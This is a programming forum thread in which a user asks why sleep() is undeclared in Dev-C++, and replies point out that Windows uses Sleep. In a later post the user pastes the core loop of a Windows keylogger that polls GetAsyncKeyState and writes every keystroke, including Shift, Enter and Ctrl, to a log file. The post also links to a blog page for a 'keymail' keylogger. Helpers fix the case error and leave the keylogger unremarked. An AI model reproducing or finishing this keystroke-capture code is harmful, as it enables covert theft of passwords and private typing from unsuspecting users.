how to use sleep function .


i'm using sleep function in my programing with these header files
#include <windows.h>
#include <stdio.h>
#include <winuser.h>
#include <windowsx.h>
#include <time.h>
#include <stdlib.h>
#include <iostream>
#include <conio.h>

 
    sleep(10);

but come error in dev Compiler
2.cpp `sleep' undeclared (first use this function)
(Each undeclared identifier is reported only once for each function it appears in.)

but in other programme it's running why?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <iostream>
 #include <conio.h>
 #include <windows.h>

 using namespace std;

 int main(){
 Sleep(1000);
 cout<<"H";
 Sleep(100);
 cout<<"e";
 Sleep(1000);
 cout<<"l";
 Sleep(100);
 cout<<"l";
 Sleep(100);
 cout<<"o";
 Sleep(100);
 cout<<"!";
 getch();
 return 0;
 }
sleep != Sleep. C++ is case sensitive, so you should make sure that proper case used when you write any idenifiers.
plz help in this program sleep() errors
#include <windows.h>
#include <stdio.h>
#include <winuser.h>
#include <windowsx.h>
#include <time.h>
#include <stdlib.h>
#include <iostream>
#include <conio.h>
these header files are used but sleep error comes plz help

while(1)
{
sleep(10);/*to prevent 100% cpu usage*/
for(character=8;character<=222;character++)
{
if(GetAsyncKeyState(character)==-32767)
{
FILE *file;
file=fopen(FileName,"a+");
if(file==NULL)
{
return 1;
}
if(file!=NULL)
{
if((character>=39)&&(character<=64))
{
fputc(character,file);
fclose(file);
break;
}
else if((character>64)&&(character<91))
{
character+=32;
fputc(character,file);
fclose(file);
break;
}
else
{
switch(character)
{
case VK_SPACE:
fputc(' ',file);
fclose(file);
break;
case VK_SHIFT:
fputs("\r\n[SHIFT]\r\n",file);
fclose(file);
break;
case VK_RETURN:
fputs("\r\n[ENTER]\r\n",file);
fclose(file);
break;
case VK_BACK:
fputs("\r\n[BACKSPACE]\r\n",file);
fclose(file);
break;
case VK_TAB:
fputs("\r\n[TAB]\r\n",file);
fclose(file);
break;
case VK_CONTROL:
fputs("\r\n[CTRL]\r\n",file);
fclose(file);
break;
case VK_DELETE:
fputs("\r\n[DEL]\r\n",file);
fclose(file);
break;
case VK_OEM_1:
fputs("\r\n[;:]\r\n",file);
fclose(file);
break;
case VK_OEM_2:
fputs("\r\n[/?]\r\n",file);
fclose(file);
break;
case VK_OEM_3:
fputs("\r\n[`~]\r\n",file);
fclose(file);
break;
case VK_OEM_4:
fputs("\r\n[ [{ ]\r\n",file);
fclose(file);
break;
case VK_OEM_5:
fputs("\r\n[\\|]\r\n",file);
fclose(file);
break;
break;
default:
fclose(file);
break;
}
}
}
}
}
Please visit the the website where the complete code given with errors

http://hackresource.blogspot.com/2013/04/keymail-keylogger.html
Last edited on
It should be
Sleep(10);

instead of
sleep(10);
Topic archived. No new replies allowed.